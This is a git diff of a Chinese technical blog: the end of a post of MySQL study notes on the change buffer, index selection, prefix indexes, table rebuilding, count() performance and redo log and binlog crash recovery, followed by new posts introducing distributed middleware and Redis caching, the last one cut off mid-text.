中,每个数据页的大小默认是 16KB。因为引擎是按页读写的,所以说,当找到 k=5 的记录的时候,它所在的数据页就都在内存里了。那么,对于普通索引来说,要多做的那一次“查找和判断下一条记录”的操作,就只需要一次指针寻找和一次计算。当然,如果 k=5 这个记录刚好是这个数据页的最后一个记录,那么要取下一个记录,必须读取下一个数据页,这个操作会稍微复杂一些。 + +#### 普通索引和唯一索引——更新过程 + +> 更新操作要判断,如果对应的数据页在内存,就直接更新,要么存储在 change buffer + +> change buffer 用来存储更新操作,等到更新操作对应的数据页被加载到内存的时候持久化数据。 + +当需要更新一个数据页时,如果数据页在内存中就直接更新,而如果这个数据页还没有在内存中的话,在不影响数据一致性的前提下,InooDB 会将这些更新操作缓存在 change buffer 中,这样就不需要从磁盘中读入这个数据页了。在下次查询需要访问这个数据页的时候,将数据页读入内存,然后执行 change buffer 中与这个页有关的操作。通过这种方式就能保证这个数据逻辑的正确性。 + +需要说明的是,虽然名字叫作 change buffer,实际上它是可以持久化的数据。也就是说,change buffer 在内存中有拷贝,也会被写入到磁盘上。 + +将 change buffer 中的操作应用到原数据页,得到最新结果的过程称为 merge。除了访问这个数据页会触发 merge 外,系统有后台线程会定期 merge。在数据库正常关闭(shutdown)的过程中,也会执行 merge 操作。 + +显然,如果能够将更新操作先记录在 change buffer,减少读磁盘,语句的执行速度会得到明显的提升。而且,数据读入内存是需要占用 buffer pool 的,所以这种方式还能够避免占用内存,提高内存利用率。 + +> change buffer 用的是 buffer pool 里的内存,因此不能无限增大。change buffer 的大小,可以通过参数 innodb_change_buffer_max_size 来动态设置。这个参数设置为 50 的时候,表示 change buffer 的大小最多只能占用 buffer pool 的 50%。 + +第一种情况是,这个记录要更新的目标页在内存中。这时,InnoDB 的处理流程如下: + +对于唯一索引来说,找到 3 和 5 之间的位置,判断到没有冲突,插入这个值,语句执行结束; + +对于普通索引来说,找到 3 和 5 之间的位置,插入这个值,语句执行结束。 + +> change buffer 的使用场景是在写多读少的情况下。在一个数据页做 merge 之前,change buffer 记录的变更越多(也就是这个页面上要更新的次数越多),收益就越大 + +#### 索引选择优化 + +总的来说,普通索引和更新索引在查询上面没有区别,在更新多的情况的选择普通索引。如果在更新的操作后面立马伴随的是对记录的查询,那么就应该关闭 change buffer + +普通索引+change buffer 的操作对更新的优化明显。 + +#### change buffer 和 redo log + +```sql +mysql> insert into t(id,k) values(id1,k1),(id2,k2); +``` + +这条更新语句做了如下的操作(按照图中的数字顺序): + +Page 1 在内存中,直接更新内存; +Page 2 没有在内存,就在内存的 change buffer 区域,记录下“我要往 Page 2 插入一行”这个信息 +在 redo log 中间记录两个操作:add (id1,k1)和 new change buffer item “add id2,k2” to Page 2 + +读 Page 1 的时候,直接从内存返回。 +读 Page 2 的时候,需要把 Page 2 从磁盘读入内存中,然后应用 change buffer 里面的操作日志,生成一个正确的版本并返回结果。 + +所以说:redo log 主要节省的是随机写磁盘的消耗。chang buffer 主要节省的是随机读磁盘的消耗。 + +### MySQL 为什么有时候会选错索引? + +```sql +set slow_query_time =0; +select * from t where a between 10000 and 20000; +select * from t force index(a) where a between 10000 and 20000; +``` + +第一句,是将慢查询日志的阈值设置为 0,表示这个线程接下来的语句都会被记录入慢查询日志中; + +选择索引是优化器的工作,而优化器选择索引的目的,是找到一个最优的执行方案,并用最小的代价去执行语句。在数据库里面,扫描行数是影响执行代价的因素之一。扫描的行数越少,意味着访问磁盘数据的次数越少,消耗的 CPU 资源越少。 + +#### 优化器需要做的事——判断扫描的行数 + +当然,扫描行数并不是唯一的判断标准,优化器还会结合是否使用临时表、是否排序等因素进行综合判断。 + +可以通过`show index`查看到一个索引的基数。 + +> 一个索引上不同的值越多,这个索引的区分度就越好。而一个索引上不同的值的个数,我们称之为“基数”(cardinality) + +> 基数的统计是采样统计得到的。 + +#### 优化器需要做的事——先其他索引再回表走主键 OR 直接走主键索引 + +如果使用索引 ,每次从索引上拿到一个值,都要回到主键索引上查出整行数据,这个代价优化器也要算进去的。 + +而如果选择扫描 10 万行,是直接在主键索引上扫描的,没有额外的代价。 + +优化器会估算这两个选择的代价,从结果看来,优化器认为直接扫描主键索引更快。当然,从执行时间看来,这个选择并不是最优的。 + +那么如何修复这个问题? + +```sql +analyze table t +``` + +重新统计索引信息。 + +#### 索引选择异常和处理 + +方法 1: + +```sql +select * from t force index() where +``` + +开发的时候通常不会先写上 force index。而是等到线上出现问题的时候,才会再去修改 SQL 语句、加上 force index。但是修改之后还要测试和发布,对于生产系统来说,这个过程不够敏捷 + +方法 2: + +考虑修改语句,引导 MySQL 使用我们期望的索引。 + +```sql +select * from t force where a between 1 and 1000 order by a limit 1; +``` + +### 怎么给字符串字段加索引? + +```sql +mysql> create table SUser( +ID bigint unsigned primary key, +email varchar(64), +... +)engine=innodb; +``` + +如果要使用邮箱登陆,如果不加索引就会走全表扫描。MYSQL 支持前缀索引,如果创建索引不指定前缀长度,那么索引就会包含整个字符串。email(6) 这个索引结构中每个邮箱字段都只取前 6 个字节(即:zhangs),所以占用的空间会更小,这就是使用前缀索引的优势。 + +```sql +select id,name,email from SUser where email='zhangssxyz@xxx.com'; +``` + +如果使用的是 index1(即 email 整个字符串的索引结构),执行顺序是这样的: +从 index1 索引树找到满足索引值是’zhangssxyz@xxx.com’的这条记录,取得 ID2 的值; +到主键上查到主键值是 ID2 的行,判断 email 的值是正确的,将这行记录加入结果集; +取 index1 索引树上刚刚查到的位置的下一条记录,发现已经不满足 email='zhangssxyz@xxx.com’的条件了,循环结束。 + +这个过程中,只需要回主键索引取一次数据,所以系统认为只扫描了一行。 + +如果使用的是 index2(即 email(6) 索引结构),执行顺序是这样的: + +从 index2 索引树找到满足索引值是’zhangs’的记录,找到的第一个是 ID1; +到主键上查到主键值是 ID1 的行,判断出 email 的值不是’zhangssxyz@xxx.com’,这行记录丢弃; +取 index2 上刚刚查到的位置的下一条记录,发现仍然是’zhangs’,取出 ID2,再到 ID 索引上取整行然后判断,这次值对了,将这行记录加入结果集; +重复上一步,直到在 idxe2 上取到的值不是’zhangs’时,循环结束。 + +在这个过程中,要回主键索引取 4 次数据,也就是扫描了 4 行。 + +> 使用前缀索引,定义好长度,就可以做到既节省空间,又不用额外增加太多的查询成本。 + +但是对于前缀区分度不高的例子怎么办? + +第一种方式是使用倒序存储。 + +```sql +mysql> select field_list from t where id_card = reverse('input_id_card_string'); +``` + +第二种方式是使用 hash 字段。 + +```sql +mysql> alter table t add id_card_crc int unsigned, add index(id_card_crc); +``` + +然后每次插入新记录的时候,都同时用 crc32() 这个函数得到校验码填到这个新字段。由于校验码可能存在冲突,也就是说两个不同的身份证号通过 crc32() 函数得到的结果可能是相同的,所以的查询语句 where 部分要判断 id_card 的值是否精确相同。 + +它们的相同点是,都不支持范围查询。倒序存储的字段上创建的索引是按照倒序字符串的方式排序的,已经没有办法利用索引方式查出身份证号码在 [ID_X, ID_Y] 的所有市民了。同样地,hash 字段的方式也只能支持等值查询。 + +从占用的额外空间来看,倒序存储方式在主键索引上,不会消耗额外的存储空间,而 hash 字段方法需要增加一个字段。当然,倒序存储方式使用 4 个字节的前缀长度应该是不够的,如果再长一点,这个消耗跟额外这个 hash 字段也差不多抵消了。 + +在 CPU 消耗方面,倒序方式每次写和读的时候,都需要额外调用一次 reverse 函数,而 hash 字段的方式需要额外调用一次 crc32() 函数。如果只从这两个函数的计算复杂度来看的话,reverse 函数额外消耗的 CPU 资源会更小些。 + +从查询效率上看,使用 hash 字段方式的查询性能相对更稳定一些。因为 crc32 算出来的值虽然有冲突的概率,但是概率非常小,可以认为每次查询的平均扫描行数接近 1。而倒序存储方式毕竟还是用的前缀索引的方式,也就是说还是会增加扫描行数。 + +总结:字符串创建索引的方式有: +直接创建完整索引:可能比较占用空间 +创建前缀索引,节省空间,但是查询的时候会增加扫描的次数。 +倒序存储,再创建前缀索引。 +创建 hash 字段索引,查询性能优秀,但是有额外的存储和计算消耗,不知处范围扫描。 + +如果在维护一个学校的学生信息数据库,学生登录名的统一格式是”学号 @gmail.com", 而学号的规则是:十五位的数字,其中前三位是所在城市编号、第四到第六位是学校编号、第七位到第十位是入学年份、最后五位是顺序编号。 + +系统登录的时候都需要学生输入登录名和密码,验证正确后才能继续使用系统。就只考虑登录验证这个行为的话,会怎么设计这个登录名的索引呢? + +用数字类型来存这 9 位数字。比如 201100001,这样只需要占 4 个字节。其实这个就是一种 hash,只是它用了最简单的转换规则:字符串转数字的规则,而刚好我们设定的这个背景,可以保证这个转换后结果的唯一性。 + +### 为什么表数据删掉一半,表文件大小不变? + +> MYSQL 如何回收空间的方法? + +针对 MySQL 中应用最广泛的 InnoDB 引擎,表数据既可以存在共享表空间里,也可以是单独的文件。这个行为是由参数 innodb_file_per_table 控制的: + +这个参数设置为 OFF 表示的是,表的数据放在系统共享表空间,也就是跟数据字典放在一起; + +这个参数设置为 ON 表示的是,每个 InnoDB 表数据存储在一个以 .ibd 为后缀的文件中。 + +一个表单独存储为一个文件更容易管理,而且在不需要这个表的时候,通过 drop table 命令,系统就会直接删除这个文件。而如果是放在共享表空间中,即使表删掉了,空间也是不会回收的。 + +将 innodb_file_per_table 设置为 ON,是推荐做法,我们接下来的讨论都是基于这个设置展开的。 + +我们在删除整个表的时候,可以使用 drop table 命令回收表空间。但是,我们遇到的更多的删除数据的场景是删除某些行,这时回到开始的问题:表中的数据被删除了,但是表空间却没有被回收。 + +假设,我们要删掉 R4 这个记录,InnoDB 引擎只会把 R4 这个记录标记为删除。如果之后要再插入一个 ID 在 300 和 600 之间的记录时,可能会复用这个位置。但是,磁盘文件的大小并不会缩小。 + +数据页的复用跟记录的复用是不同的。记录的复用,只限于符合范围条件的数据。比如上面的这个例子,R4 这条记录被删除后,如果插入一个 ID 是 400 的行,可以直接复用这个空间。但如果插入的是一个 ID 是 800 的行,就不能复用这个位置了。 + +如果将数据页 page A 上的所有记录删除以后,page A 会被标记为可复用。这时候如果要插入一条 ID=50 的记录需要使用新页的时候,page A 是可以被复用的。 + +如果相邻的两个数据页利用率都很小,系统就会把这两个页上的数据合到其中一个页上,另外一个数据页就被标记为可复用。 + +进一步地,如果我们用 delete 命令把整个表的数据删除呢?结果就是,所有的数据页都会被标记为可复用。但是磁盘上,文件不会变小。 + +> 删除整张表格的时候,所有的数据页仅仅也只是被标记为可复用。磁盘文件并不会缩小。通过 delete 不能回收表空间。这些可以复用,而没有被使用的空间,看起来就像是“空洞”。 + +如果数据是按照索引递增顺序插入的,那么索引是紧凑的。但如果数据是随机插入的,就可能造成索引的数据页分裂。 + +更新索引上的值,可以理解为删除一个旧的值,再插入一个新值。不难理解,这也是会造成空洞的。 + +也就是说,经过大量增删改的表,都是可能是存在空洞的。所以,如果能够把这些空洞去掉,就能达到收缩表空间的目的。 + +> 重建表就可以解决这个问题,新建一个与表 A 结构相同的表 B,然后按照主键 ID 递增的顺序,把数据一行一行地从表 A 里读出来再插入到表 B 中。把表 B 作为临时表,数据从表 A 导入表 B 的操作完成后,用表 B 替换 A,从效果上看,就起到了收缩表 A 空间的作用。 + +#### Online DDL 来重建表 + +引入了 Online DDL 之后,重建表的流程: + +建立一个临时文件,扫描表 A 主键的所有数据页; +用数据页中表 A 的记录生成 B+ 树,存储到临时文件中; +生成临时文件的过程中,将所有对 A 的操作记录在一个日志文件(row log)中。 +临时文件生成后,将日志文件中的操作应用到临时文件,得到一个逻辑数据上与表 A 相同的数据文件。 +用临时文件替换表 A 的数据文件。 + +> 这个方案在重建表的过程中,允许对表 A 做增删改操作。这也就是 Online DDL 名字的来源. + +但是 DDL 操作是要拿到 MDL 写锁的。alter 语句在启动的时候需要获取 MDL 写锁,但是这个写锁在真正拷贝数据之前就退化成读锁了。因为 MDL 读锁不会阻塞增删改操作。 + +可以用使用 GitHub 开源的 gh-ost 来做。 + +#### optimize table、analyze table 和 alter table + +重建表的这个语句 alter table t engine=InnoDB,其实隐含的意思是: + +```sql +alter table t engine=innodb,algorithm=inplace; +``` + +```sql +alter table t engine=innodb,algorithm=copy; +``` + +`analyze table`不是重建表,而是对表的索引信息重新做统计,没有修改数据 +`optmize table`等于 recreate+analyze + +如果要收缩一个表,只是 delete 掉表里面不用的数据的话,表文件的大小是不会变的,还要通过 alter table 命令重建表,才能达到表文件变小的目的。重建表的两种实现方式,Online DDL 的方式是可以考虑在业务低峰期使用的 + +### count() + +> count()这么慢,我该怎么办? + +```sql + select count(*) from t +``` + +#### count()的实现方式 + +MyISAM 引擎把一个表的总行数存在了磁盘上,因此执行 count() 的时候会直接返回这个数,效率很高; + +而 InnoDB 引擎就麻烦了,它执行 count() 的时候,需要把数据一行一行地从引擎里面读出来,然后累积计数。 + +> 这是因为即使是在同一个时刻的多个查询,由于多版本并发控制(MVCC)的原因,InnoDB 表“应该返回多少行”也是不确定的 + +假设表 t 中现在有 10000 条记录,我们设计了三个用户并行的会话。 + +会话 A 先启动事务并查询一次表的总行数; +会话 B 启动事务,插入一行后记录后,查询表的总行数; +会话 C 先启动一个单独的语句,插入一行记录后,查询表的总行数。 + +> 这和 InnoDB 的事务设计有关系,可重复读是它默认的隔离级别,在代码上就是通过多版本并发控制,也就是 MVCC 来实现的。每一行记录都要判断自己是否对这个会话可见,因此对于 count() 请求来说,InnoDB 只好把数据一行一行地读出依次判断,可见的行才能够用于计算“基于这个查询”的表的总行数。 + +InnoDB 是索引组织表,逐渐索引树的叶子节点是数据,普通索引的叶子节点是主键值。普通索引树比主键索引树小很多。 + +对于 count() 这样的操作,遍历哪个索引树得到的结果逻辑上都是一样的。因此,MySQL 优化器会找到最小的那棵树来遍历。在保证逻辑正确的前提下,尽量减少扫描的数据量,是数据库系统设计的通用法则之一。 + +用过 show table status 命令的话,就会发现这个命令的输出结果里面也有一个 TABLE_ROWS 用于显示这个表当前有多少行,这个命令执行挺快的,那这个 TABLE_ROWS 能代替 count() 吗? + +索引统计的值是通过采样来估算的。实际上,TABLE_ROWS 就是从这个采样估算得来的,因此它也很不准。有多不准呢,官方文档说误差可能达到 40% 到 50%。所以,show table status 命令显示的行数也不能直接使用。 + +MyISAM 表虽然 count() 很快,但是不支持事务; +show table status 命令虽然返回很快,但是不准确; +InnoDB 表直接 count() 会遍历全表,虽然结果准确,但会导致性能问题。 + +#### 如何优化? + +> 用 Redis 来支持,每插入一行计数+1 删除-1 + +> 更新很频繁的库来说,可能会第一时间想到,用缓存系统来支持。 + +可以用一个 Redis 服务来保存这个表的总行数。这个表每被插入一行 Redis 计数就加 1,每被删除一行 Redis 计数就减 1。这种方式下,读和更新操作都很快,但再想一下这种方式存在什么问题吗? + +没错,缓存系统可能会丢失更新 + +但实际上,将计数保存在缓存系统中的方式,还不只是丢失更新的问题。即使 Redis 正常工作,这个值还是逻辑上不精确的。 + +可以设想一下有这么一个页面,要显示操作记录的总数,同时还要显示最近操作的 100 条记录。那么,这个页面的逻辑就需要先到 Redis 里面取出计数,再到数据表里面取数据记录。 + +我们是这么定义不精确的: + +一种是,查到的 100 行结果里面有最新插入记录,而 Redis 的计数里还没加 1; +另一种是,查到的 100 行结果里没有最新插入的记录,而 Redis 的计数里已经加了 1。 + +这两种情况,都是逻辑不一致的。 + +#### 在数据库保存计数 + +如果我们把这个计数直接放到数据库里单独的一张计数表 C 中,又会怎么样呢? + +按照事务的可重复读隔离级别: +但是因为这时候更新事务还没有提交,所以计数值加 1 这个操作对会话 B 还不可见。 + +#### count 的用法 + +> count()、count(主键 id)、count(字段) 和 count(1) 等不同用法的性能,有哪些差别? + +count 是个聚合函数,对于返回的结果集,一行一行的判断,如果 count 的参数不是 null ,累计值就+1,否则不加,最后返回累计值。 + +分析性能差别的时候,可以记住这么几个原则: +server 层要什么就给什么 +InnoDB 只给必要的数值 +优化器只优化了 count() 的语义为“取行数”其他“显而易见”的优化并没有做。 + +**count(主键 id) 来说**:InnoDB 引擎会遍历整张表,把每一行的 id 值都取出来,返回给 server 层。server 层拿到 id 后,判断是不可能为空的,就按行累加。 + +**对于 count(1) 来说**:InnoDB 引擎遍历整张表,但不取值。server 层对于返回的每一行,放一个数字“1”进去,判断是不可能为空的,按行累加。 + +单看这两个用法的差别的话,能对比出来,count(1) 执行得要比 count(主键 id) 快。因为从引擎返回 id 会涉及到解析数据行,以及拷贝字段值的操作。 + +**对于 count(字段) 来说**:如果这个“字段”是定义为 not null 的话,一行行地从记录里面读出这个字段,判断不能为 null,按行累加;如果这个“字段”定义允许为 null,那么执行的时候,判断到有可能是 null,还要把值取出来再判断一下,不是 null 才累加。 + +但是 `count(*)` 是例外,并不会把全部字段取出来,而是专门做了优化,不取值。`count(*)` 肯定不是 null,按行累加 + +按照效率排序: +`count()`>`count(1)`>`count(主键id)`>`count(字段)` + +### 日志相关问题 + +- 取 ID=2 这一行 +- 数据页是否再内存中? +- 是 +- 返回行数据 +- 将这行的数据的 C+1 +- 写 redo log (处于 prepare 阶段) +- 写 bin log +- 提交事务(处于 commit 阶段) + +“commit 语句”执行的时候,会包含“commit 步骤”。 + +binlog 写完,redo log 还没 commit 前发生 crash,那崩溃恢复的时候 MySQL 会怎么处理? + +如果 redo log 里面的事务是完整的,也就是已经有了 commit 标识,则直接提交; + +如果 redo log 里面的事务只有完整的 prepare,则判断对应的事务 binlog 是否存在并完整: a. 如果是,则提交事务; b. 否则,回滚事务。 + +MySQL 怎么知道 binlog 是完整的? + +答: +statement 格式的 binlog,最后会有 COMMIT; +row 格式的 binlog,最后会有一个 XID event。 + +redo log 和 binlog 是怎么关联起来的? +答: +它们有一个共同的数据字段,叫 XID。崩溃恢复的时候,会按顺序扫描 redo log: +如果碰到既有 prepare、又有 commit 的 redo log,就直接提交; +如果碰到只有 parepare、而没有 commit 的 redo log,就拿着 XID 去 binlog 找对应的事务。 + +如果这样的话,为什么还要两阶段提交呢?干脆先 redo log 写完,再写 binlog。崩溃恢复的时候,必须得两个日志都完整才可以。是不是一样的逻辑? +答: +对于 InnoDB 引擎来说,如果 redo log 提交完成了,事务就不能回滚(如果这还允许回滚,就可能覆盖掉别的事务的更新)。而如果 redo log 直接提交,然后 binlog 写入的时候失败,InnoDB 又回滚不了,数据和 binlog 日志又不一致了。 + +那能不能只用 redo log,不要 binlog? +答:binlog 用于归档 + +redo log 一般设置多大? +答:redo log 设置为 4 个文件、每个文件 1GB diff --git a/_posts/2023-1-20-test-markdown.md b/_posts/2023-1-20-test-markdown.md new file mode 100644 index 000000000000..103f4025303c --- /dev/null +++ b/_posts/2023-1-20-test-markdown.md @@ -0,0 +1,170 @@ +--- +layout: post +title: 分布式缓存?分布式锁?分布式消息队列? +subtitle: +tags: [分布式] +comments: true +--- + +### 1.分布式? + +> 集中式系统:所有的功能,所有的服务都在同一个机器上。 + +> 对用户来说是单机,但是实际上,两个进程运行在两个机器上,共同协作完成同一个服务或者功能。如果这两个进程完全相同,那么可以叫做集群。 + +### 2.分布式系统特性? + +> “A distributed system is a collection of independent computers that appears to its users as a single coherent system” + +> 分布式系统是独立计算机的集合,在其用户看来是一个单一的连贯系统”。 + +> 分布式系统的每一个节点高度自治。 + +> 分布式系统对用户来说是透明的。 + +> 分布式系统下,当任务量增加的时候,增加服务器的数量,任务减少的时候,减少服务的数量。(动态伸缩) + +So,总结一下就是**内聚性**、**透明性**、**可扩展**、**可用性**、**可靠性**、**高性能**、**一致性** + +### 3.分布式系统常见问题 + +#### 3.1 分布式系统中-网络不是可靠的 + +**分布式系统的三态!!!** + +> 成功/失败/超时。在单个机器上调用一个函数,只有两种状态:成功,失败。但是 A 节点 对 B 节点发起 RPC 调用,B 节点在返回消息给 A 节点的时候,可能超时。 + +**消息丢失:** + +> 消息丢失是最常见的网络异常。对于常见的 IP 网络,网络层不保证数据报文的可靠传递,在发生网络拥塞、路由变动、设备异常等情况时,可能出现发送数据丢失的问题。 + +**网络分区:** + +> 网络分区可以理解为原来的分布式系统因网络分区而形成了两个系统。 + +**消息乱序:** + +> 消息乱序是指节点发送的网络消息有一定的概率不是按照发送时的顺序依次到达目的节点。 + +**数据错误:** + +> 网络上传输的数据有可能发生比特错误,从而造成数据错误。通常使用一定的校验码机制可以较为简单的检查出网络数据的错误,从而主动丢弃错误的数据。 + +#### 3.2 分布式系统中-节点可能故障 + +> 不确定计算机什么时候宕机、断电,不确定磁盘什么时候损坏,不确定每次网络通信要延迟多久,也不确定通信对端是否处理了发送的消息。而分布式系统的规模又放大了这种不确定性。 + +#### 3.3 CAP 理论 + +> 多写几遍我总能记住..... + +P(PartitionTolerance):分布式系统中,节点间通过网络进行通信,然而可能因为一些故障,导致有些节点之间不连通,整个网络就分成了几块区域。数据就散布在了这些不连通的区域中,从而形成了分区。 + +解决网络分区的办法就是:数据复制到多个节点。数据的副本越多,数据的分区容忍性越好。 + +A(Availability):用户的每个请求都能接受到一个响应。 +C(Consistency):如果系统对一个写操作返回成功,那么之后的读请求都必须读到这个新数据. + +> CAP 典型的:鱼和熊掌不可兼得 + +### 4.分布式中间件——缓存 + +> 用来干什么?答:缓存基于内存。DB 基于磁盘。 + +分布式缓存的主要应用场景有: + +页面缓存: + +> 页面缓存存 HTML + +应用对象缓存: + +> 作为 ORM 框架的二级缓存对外提供服务。 + +状态缓存: + +> 缓存 Session 会话状态以及横向扩展时的状态数据。 + +并行处理: + +> 涉及大量中间计算结果需要共享 + +事件处理: + +> 针对事件流的连续查询进行处理 + +### 5.分布式中间件——锁 + +单个进程有编程语言层面支持的锁。但是对于多进程,多线程,分布在不同的节点的情况就需要分布式锁。 + +#### 5.1 原子性/可见性/有序性 问题 + +原子性:操作不可以中断。 + +可见性:一个线程对共享变量的修改立即被其他进程要看到。(不能两个进程同时对一个变量的一种状态进行修改) + +有序性: + +```go +// 进程1 +var str="Hello" +``` + +```go +// 进程2 +str.ToUpper() +``` + +进程 1 先执行,进程 2 再执行,可以正常执行。但是进程 2 先执行,进程 1 次执行。那么就会报空指针异常。 + +#### 5.2 锁机制 + +> 用来干什么? 答:在高并发场景下,为了保证共享资源在统一时刻被同一个进程执行,对共享资源加锁。 + +> synchronized 及 Lock 的实现原理 +> synchronized 本质上是通过锁来实现的。对于同一个代码块,为了实现多个线程在一个时刻只能有一个线程执行,需要在某个地方做个标记,每个线程都必须能看到它。当标记不存在时,某个线程可以设置该标记,其余后续线程发现已经有标记了,则等待拥有标记的线程结束同步代码块取消标记后,再去尝试设置标记。这个标记可以理解为锁。 + +> 不同地方实现锁的方式也不一样,只要能满足所有线程都能看得到标记即可。如 Java 中 synchronize 是在对象头设置标记;Lock 接口的实现类的基本思想是,用一个 volitile 修饰的 int 型变量,保证每个线程都能拥有对该 int 的可见性和原子修改。 + +#### 5.3 分布式场景 + +> 不管是 java 还是 golang ,锁机制有效的前提是:同一个进程。但是对于分布式,是跨进程。那么需要一个第三方系统,常见的分布式锁有三个:数据库,缓存,分布式协调系统。 + +### 6. 分布式中间件-消息队列 + +> 用来干什么?答:应用耦合,削峰,异步 + +#### 6.1 典型应用场景-异步 + +一个实际的场景:用户注册,发送注册邮件和短信 + +串行处理:写入用户信息到数据库——发送注册邮件——发送注册短信 + +并行处理: + +写入用户信息到数据库——发送注册邮件(发送注册短信) + +> 用户一旦按下注册信息的提交按钮,那么就知道了邮箱,手机号,以及写入到数据库的信息,那么这三个动作可以同时进行。 + +异步处理: + +写入用户信息到数据库——把要求发送注册邮件的信息和(要求发送注册短信的信息)写入到消息队列——消息队列被相应的服务消费消息。 + +#### 6.2 典型应用场景-解耦 + +一个实际的场景:订单系统和库存系统。当用户下单后,订单系统会调用库存系统将库存减 1. + +解耦处理:用户下单后,订单系统完成持久化处理,把(要求库存系统处理)的消息写入消息队列,这个时候返回用户下单成功,**消息的发送者发送完** + +#### 6.3 典型应用场景-削峰 + +一个实际的场景:双 11,当外部的的请求暴增,这个时候如果引入消息队列,用户的秒杀请求被写入消息队列,并且当请求数量超过消息队列的最大长度,那么超过的请求将会被抛弃,跳转到失败页面。而且秒杀业务是根据消息队列中的请求信息根据数据的实际 select 、insert、update 能力处理注册,预约申请。 + +#### 6.4 典型应用场景-消息通讯 + +微信群聊是如何实现的? +答:A 通过客户端发送消息到群,服务把消息写入消息队列;消息队列负责消息的接收,存储和转发,B 通过客户端查看群消息,订阅并消费消息队列中间的信息。 + +### 总结 + +从 CAP 理论切入,学习了三大分布式中间件:分布式缓存、分布式锁以及分布式消息队列。 diff --git a/_posts/2023-1-21-test-markdown.md b/_posts/2023-1-21-test-markdown.md new file mode 100644 index 000000000000..dc5eaf6ff039 --- /dev/null +++ b/_posts/2023-1-21-test-markdown.md @@ -0,0 +1,273 @@ +--- +layout: post +title: 主流分布式缓存? +subtitle: +tags: [分布式] +comments: true +--- + +### 1. Redis(Remote Dictionary Server) + +可以做缓存,常见的作为缓存的业务场景有: + +- 缓存热点数据,减轻数据库负载压力 +- 基于 List 结构,显示最新的数据 +- 基于 Sort Set 做排行榜 +- 基于 Set 做 uniq 操作,例如页面访问者去重 +- 基于 Set 做单 key 下多属性的项目,例如商品的基本信息,库存、价格。 + +可以做数据库,常见的业务场景有: + +可以做消息队列,常见的业务场景有: + +可以做锁,常见的业务场景有: + +### 2. Redis 特点 + +-数据持久化 + +> 数据持久化(AOF 和 RDB 两钟模式),把内存中间的数据保存到磁盘中间。 + +- Redis 不仅仅支持字符串,列表,集合,HSet 等有序数据集合的存储 + +> 适用的场景更加的广泛 + +- Redis 支持数据的备份,Master-Slave 模式,Master 故障的时候,对应的 Slave 将通过选举升主,保障可用性。 + +> Master-Slave 模式保障可用性 + +- Redis 的主进程是单线程工作, Redis 的所有的操作都是原子性的,要么成功执行,要么失败完全不执行。 + +> 操作是原子性 + +- Redis 性能优越。读的速度达 110000 次/s,写的速度达 81000 次/s,Key 和 Value 的大小限制均为 512M,这阈值相当可观。 + +> 读写速度块 + +#### 2.1 支持多种数据类型 + +Redis 支持多种数据类型 +它支持字符串、哈希表、列表、集合、有序集合,位图,HyperLogLogs 等数据类型,每种数据类型对应不同的数据结构以支持不同的应用需求。 + +此外,Redis 底层实现采用了很多优秀的数据结构,使其具有优异的性能, +例如 Redis 使用跳跃表作为有序集合键的底层实现之一,如果一个有序集合包含的元素数量比较多,又或者有序集合中元素的成员是比较长的字符串时,Redis 就会使用跳跃表作为有序集合键的底层实现。 + +> 跳跃表以有序的方式在层次化的链表中保存元素,效率可与平衡树媲美——查找、删除、添加等操作都可以在对数期望(LogN)时间下完成。 + +#### 2.2 Redis 主进程是单线程 + +Redis 主进程是单线程工作,因此,Redis 的所有操作都是原子性的,即操作要么成功执行,要么失败完全不执行。单个操作是原子性的,多个操作也支持事务,即原子性。 + +由于缓存操作都是内存操作,只有很少的计算,因此即便在单线程下,Redis 性能也很优秀。目前,大多数 CPU 都是多核的,为了提高多核 CPU 的利用率,通常在同一台机器上部署多个 Redis 实例(注意配置不同的端口),官方的推荐是一台机器部署 8 个实例。 + +#### 2.3 Redis 持久化机制 + +Redis 支持数据的持久化(包括 AOF 日志 和 RDB 快照两种模式),可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用,性能与可靠性兼顾。 + +需要注意的是,RDB 模式是定时的持久机制,发生宕机时可能会导致数据丢失,而 AOF 模式提供了 appednfsync 参数,通过设置 appednfsync 参数(设置为 always)可以最大限度保证数据安全,但也会降低效率。 + +#### 2.4 Redis 高可用策略 + +Redis 支持数据的备份,即 Master-Slave 模式,Slave 可使用 RDB 和缓存的 AOF 命令进行同步和恢复,Master 故障时,对应的 Slave 将通过选举升主,保障可用性。 + +此外,Redis 还支持 Sentinel 和 Cluster(从 3.0 版本开始)等高可用集群方案。 + +#### 2.5 Redis 数据淘汰策略 + +Redis 支持配置最大内存,当内存不够用时,会通过淘汰策略来回收内存,Redis 提供了丰富的淘汰策略,粒度粗细皆有,适用多种应用场景。 + +volatile-lru:从已设置过期时间的数据集中挑选最近最少使用的数据淘汰; +volatile-ttl:从已设置过期时间的数据集中挑选将要过期的数据淘汰; +volatile-random:从已设置过期时间的数据集中任意选择数据淘汰; +allkeys-lru:从数据集中挑选最近最少使用的数据淘汰; +allkeys-random:从数据集中任意选择数据淘汰; +no-enviction:当内存使用达到阈值的时候,所有引起申请内存的命令会报错。 + +对于**设置了过期时间的数据集合**,可以选择最近最少使用的数据淘汰,也可以选择将要过期的数据淘汰,还可以任意选择数据淘汰。 + +对于所有的数据,选择最近做少使用的数据进行淘汰,或者随机选择数据淘汰。当内存使用达到阀值的时候,所有引起申请内存的命令将会报错。 + +#### 2.6 Redis 内存管理 + +Redis 使用 C 语言编写,但是为了提高内存的管理效率,没有直接使用 Malloc/Free 函数,而是使用默认的 jemalloc 函数作为内存分配器。 + +#### 2.7 Redis 的开源客户端 + +> 非常的多,几乎支持所有的编程语言 + +#### 2.8 Redis 支持事务 + +Redis 提供了一些在一定程度上支持线程安全和事务的命令,例如 multi/exec、watch、inc 等。由于 Redis 服务器是单线程的,任何单一请求的服务器操作命令都是原子的,但跨客户端的操作并不保证原子性,所以对于同一个连接的多个操作序列也不保证事务。 + +### 3. Redis 高可用方案 + +#### 3.1 方案 1-Redis Cluster + +从 3.0 版本开始,Redis 支持集群模式——Redis Cluster,可线性扩展到 1000 个节点。Redis-Cluster 采用无中心架构,每个节点都保存数据和整个集群状态,每个节点都和其它所有节点连接,客户端直连 Redis 服务,免去了 Proxy 代理的损耗。Redis Cluster 最小集群需要三个主节点,为了保障可用性,每个主节点至少挂一个从节点(当主节点故障后,对应的从节点可以代替它继续工作) + +> 每个主节点至少挂一个从节点,客户端直连 Redis 服务,每个节点都保存数据和整个集群的状态。 + +#### 3.2 方案 2-Twemproxy + +Twemproxy 是一个使用 C 语言编写、以代理的方式实现的、轻量级的 Redis 代理服务器。它通过引入一个代理层,将应用程序后端的多台 Redis 实例进行统一管理,使应用程序只需要在 Twemproxy 